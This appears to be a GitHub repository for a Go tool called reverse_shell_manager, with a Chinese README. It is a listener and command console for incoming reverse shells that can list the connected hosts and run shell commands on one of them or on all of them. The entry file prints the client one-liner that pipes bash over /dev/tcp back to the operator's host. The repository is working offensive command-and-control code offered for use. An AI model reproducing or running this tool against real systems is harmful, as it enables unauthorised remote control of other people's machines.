├── README.md ├── doc ├── comm.png ├── commall.png └── info.png ├── lib ├── cli.go ├── client.go ├── command.go ├── core.go ├── reflection.go └── sever.go └── manageshell.go /README.md: -------------------------------------------------------------------------------- 1 | # reverse_shell_manager 2 | ## 反弹shell管理工具 3 | ### 用法: 4 | 5 | * info 查看在线主机 6 | ![info](https://github.com/HToTH/reverse_shell_manager/blob/master/doc/info.png?raw=true) 7 | * comm 对单个主机执行命令 8 | ![comm](https://github.com/HToTH/reverse_shell_manager/blob/master/doc/comm.png) 9 | * commall 对所有主机执行命令 10 | ![commall](https://github.com/HToTH/reverse_shell_manager/blob/master/doc/commall.png) 11 | -------------------------------------------------------------------------------- /doc/comm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HToTH/reverse_shell_manager/edcdca862eb7803a0a01d4918d74f544890cb222/doc/comm.png -------------------------------------------------------------------------------- /doc/commall.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HToTH/reverse_shell_manager/edcdca862eb7803a0a01d4918d74f544890cb222/doc/commall.png -------------------------------------------------------------------------------- /doc/info.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HToTH/reverse_shell_manager/edcdca862eb7803a0a01d4918d74f544890cb222/doc/info.png -------------------------------------------------------------------------------- /lib/cli.go: -------------------------------------------------------------------------------- 1 | package lib 2 | import ( 3 | "github.com/chzyer/readline" 4 | "io" 5 | "strings" 6 | "log" 7 | ) 8 | var completer = readline.NewPrefixCompleter( 9 | readline.PcItem("info 查看hash和主机"), 10 | readline.PcItem("comm hash 命令,对单独的主机执行命令"), 11 | readline.PcItem("commall 命令,对所有主机执行命令"), 12 | ) 13 | func usage(w io.Writer) { 14 | io.WriteString(w, "commands:\n") 15 | io.WriteString(w, completer.Tree(" ")) 16 | } 17 | func filterInput(r rune) (rune, bool) { 18 | switch r { 19 | // block CtrlZ feature 20 | case readline.CharCtrlZ: 21 | return r, false 22 | } 23 | return r, true 24 | } 25 | type Command struct{} 26 | func Cli(){ 27 | l, err := readline.NewEx(&readline.Config{ 28 | Prompt: "\033[31m»\033[0m ", 29 | HistoryFile: "/tmp/readline.tmp", 30 | AutoComplete: completer, 31 | InterruptPrompt: "^C", 32 | EOFPrompt: "exit", 33 | 34 | HistorySearchFold: true, 35 | FuncFilterInputRune: filterInput, 36 | }) 37 | if err != nil { 38 | panic(err) 39 | } 40 | defer l.Close() 41 | methods := GetAllMethods(Command{}) 42 | for { 43 | line, err := l.Readline() 44 | if err == readline.ErrInterrupt { 45 | if len(line) == 0 { 46 | break 47 | } else { 48 | continue 49 | } 50 | } else if err == io.EOF { 51 | break 52 | } 53 | line = strings.TrimSpace(line) 54 | if line == "help" || line =="h"{ 55 | usage(l.Stderr()) 56 | continue 57 | } 58 | method,args := ParseInput(methods,line) 59 | if len(method) == 0{ 60 | log.Print("输入命令错误") 61 | }else{ 62 | InvokeFunc(Command{},method,args) 63 | } 64 | } 65 | } -------------------------------------------------------------------------------- /lib/client.go: -------------------------------------------------------------------------------- 1 | package lib 2 | import ( 3 | "net" 4 | "time" 5 | "sync" 6 | "log" 7 | "bytes" 8 | "strings" 9 | ) 10 | 11 | type Client struct{ 12 | ip string 13 | hash string 14 | conn net.Conn 15 | TimeStamp time.Time 16 | IsLock *sync.Mutex 17 | active bool 18 | } 19 | 20 | func CreateClientTcp(conn net.Conn) *Client{ 21 | return &Client{ 22 | ip:conn.RemoteAddr().String(), 23 | hash:Md5(conn.RemoteAddr().String()), 24 | conn: conn, 25 | TimeStamp:time.Now(), 26 | IsLock:new(sync.Mutex), 27 | active:false, 28 | } 29 | } 30 | 31 | func (c *Client)Write(command string) bool{ 32 | c.IsLock.Lock() 33 | _, err := c.conn.Write([]byte(command+"\n")) 34 | c.IsLock.Unlock() 35 | if err != nil { 36 | log.Print("发送消息失败,断开链接") 37 | return false 38 | } 39 | return true 40 | } 41 | func (c *Client)Read(token string) (string,bool){ 42 | inputBuffer := make([]byte, 1) 43 | var outputBuffer bytes.Buffer 44 | for { 45 | c.IsLock.Lock() 46 | c.conn.SetReadDeadline(time.Now().Add(time.Second * 10)) 47 | n, err := c.conn.Read(inputBuffer) 48 | c.conn.SetReadDeadline(time.Time{}) 49 | c.IsLock.Unlock() 50 | if err != nil { 51 | log.Print("服务器没有返回消息") 52 | return outputBuffer.String(),false 53 | } 54 | outputBuffer.Write(inputBuffer[:n]) 55 | //抓到token,结束读取 56 | if strings.HasSuffix(outputBuffer.String(), token) { 57 | break 58 | } 59 | } 60 | return outputBuffer.String(),true 61 | } -------------------------------------------------------------------------------- /lib/command.go: -------------------------------------------------------------------------------- 1 | package lib 2 | import( 3 | "log" 4 | "strings" 5 | ) 6 | func (co Command)Info(args []string){ 7 | for i,c := range Server.Clients{ 8 | log.Printf("hash:%s,ip:%s",i,c.ip) 9 | } 10 | } 11 | 12 | func (co Command)Comm(args []string){ 13 | if len(args) >= 2{ 14 | comm := "" 15 | for _,i:= range args[1:]{ 16 | comm=comm+" "+i 17 | } 18 | tmp := false 19 | for hash,_ := range Server.Clients{ 20 | if hash == args[0]{ 21 | c := Server.Clients[args[0]] 22 | ExecuteC(c,comm) 23 | tmp=true 24 | } 25 | } 26 | if !tmp{ 27 | log.Print("hash输入错误") 28 | } 29 | }else{ 30 | log.Print("参数不够") 31 | } 32 | } 33 | func (co Command)Commall(args []string){ 34 | comm := "" 35 | for _,i:= range args{ 36 | comm=comm+" "+i 37 | } 38 | for _,i := range Server.Clients{ 39 | log.Printf("主机:%s",i.ip) 40 | ExecuteC(i,comm) 41 | } 42 | } 43 | 44 | func VerifySession(c *Client,comm string){ 45 | token := "afdaswerqerq342341234" 46 | comm = comm +"; echo "+"afdaswerqerq342341234" 47 | if !c.Write(comm) { 48 | Server.RemoveClient(c) 49 | } 50 | result,err := c.Read(token) 51 | result = strings.Replace(result,token,"",-1) 52 | if !err{ 53 | Server.RemoveClient(c) 54 | } 55 | } 56 | func ExecuteC(c *Client,comm string){ 57 | token := "afdaswerqerq342341234" 58 | comm = comm +"; echo "+"afdaswerqerq342341234" 59 | if !c.Write(comm) { 60 | Server.RemoveClient(c) 61 | } 62 | result,err := c.Read(token) 63 | result = strings.Replace(result,token,"",-1) 64 | if !err{ 65 | VerifySession(c,"id") 66 | } 67 | log.Print(result) 68 | } 69 | -------------------------------------------------------------------------------- /lib/core.go: -------------------------------------------------------------------------------- 1 | package lib 2 | import ( 3 | "crypto/md5" 4 | "io" 5 | "fmt" 6 | "strings" 7 | ) 8 | 9 | func Md5(data string) string{ 10 | t := md5.New() 11 | io.WriteString(t, data) 12 | return fmt.Sprintf("%x", t.Sum(nil)) 13 | } 14 | func strFirstToUpper(str string) string { 15 | if len(str) < 1 { 16 | return "" 17 | } 18 | strArry := []rune(str) 19 | if strArry[0] >= 97 && strArry[0] <= 122 { 20 | strArry[0] -= 32 21 | } 22 | return string(strArry) 23 | } 24 | func ParseInput(methods []string,line string) (string,[]string){ 25 | args := strings.Split(strings.TrimSpace(line), " ") 26 | args[0] = strings.ToLower(args[0]) 27 | args[0] = strFirstToUpper(args[0]) 28 | if Contain(methods,args[0]){ 29 | return args[0],args[1:] 30 | }else{ 31 | return "",[]string{} 32 | } 33 | } 34 | 35 | func Contain(methods []string,method string) bool{ 36 | for _,m := range methods { 37 | if m == method{ 38 | return true 39 | } 40 | } 41 | return false 42 | } -------------------------------------------------------------------------------- /lib/reflection.go: -------------------------------------------------------------------------------- 1 | package lib 2 | 3 | import( 4 | "reflect" 5 | ) 6 | 7 | func GetAllMethods(any interface{}) []string{ 8 | var methods []string 9 | anyType := reflect.TypeOf(any) 10 | for i := 0; i < anyType.NumMethod(); i++ { 11 | method := anyType.Method(i) 12 | methods = append(methods, method.Name) 13 | } 14 | return methods 15 | } 16 | 17 | func InvokeFunc(any interface{},name string,args ...interface{}){ 18 | params := make([]reflect.Value, len(args)) 19 | for i, _ := range args { 20 | params[i] = reflect.ValueOf(args[i]) 21 | } 22 | 23 | reflect.ValueOf(any).MethodByName(name).Call(params) 24 | } -------------------------------------------------------------------------------- /lib/sever.go: -------------------------------------------------------------------------------- 1 | package lib 2 | import ("net" 3 | "fmt" 4 | "time" 5 | "log" 6 | "strings") 7 | 8 | type Tcpserver struct{ 9 | host string 10 | port string 11 | Clients map[string](*Client) 12 | TimeStamp time.Time 13 | } 14 | var Server *Tcpserver 15 | func (s *Tcpserver) Run(){ 16 | ip := s.host+":"+s.port 17 | lsr,err := net.Listen("tcp",ip) 18 | if err != nil { 19 | log.Printf("启动服务失败: %s", err) 20 | return 21 | } 22 | log.Printf("服务启动,端口监控:%s",ip) 23 | for { 24 | buffer := make([]byte, 4) 25 | conn, err := lsr.Accept() 26 | if err != nil { 27 | continue 28 | } 29 | ip := conn.RemoteAddr().String() 30 | ip = strings.Split(ip,":")[0] 31 | tmp := true 32 | for _,client:=range s.Clients{ 33 | i := strings.Split(client.ip,":")[0] 34 | if i== ip{ 35 | tmp =false 36 | } 37 | } 38 | if !tmp{ 39 | continue 40 | } 41 | client := CreateClientTcp(conn) 42 | s.AddClient(client) 43 | client.IsLock.Lock() 44 | client.conn.SetReadDeadline(time.Now().Add(time.Second * 3)) 45 | n, err := client.conn.Read(buffer) 46 | client.IsLock.Unlock() 47 | client.conn.SetReadDeadline(time.Time{}) 48 | if err != nil{ 49 | if netErr, ok := err.(net.Error); ok && netErr.Timeout() { 50 | continue 51 | } else { 52 | fmt.Printf("服务器错误:%s",err) 53 | s.RemoveClient(client) 54 | client.conn.Close() 55 | } 56 | } 57 | if n > 1{ 58 | log.Print(string(buffer[:])) 59 | } 60 | } 61 | } 62 | 63 | func (s *Tcpserver)AddClient(client *Client){ 64 | s.Clients[client.hash] = client 65 | } 66 | func (s *Tcpserver)RemoveClient(client *Client){ 67 | delete(s.Clients,client.hash) 68 | } 69 | func (s *Tcpserver) GetAllClient() map[string](*Client){ 70 | return s.Clients 71 | } 72 | func CreateTcpServer(host string,port string) *Tcpserver{ 73 | Server = &Tcpserver{ 74 | host: host, 75 | port: port, 76 | TimeStamp:time.Now(), 77 | Clients:make(map[string](*Client)), 78 | } 79 | return Server 80 | } -------------------------------------------------------------------------------- /manageshell.go: -------------------------------------------------------------------------------- 1 | package main 2 | import ("github.com/reverse_shell_manager/lib" 3 | "fmt") 4 | 5 | 6 | func main(){ 7 | fmt.Print("客服端用法:bash -c 'bash -i >/dev/tcp/192.168.41.1/9999 0>&1\n") 8 | s := lib.CreateTcpServer("0.0.0.0","9999") 9 | go s.Run() 10 | lib.Cli() 11 | } --------------------------------------------------------------------------------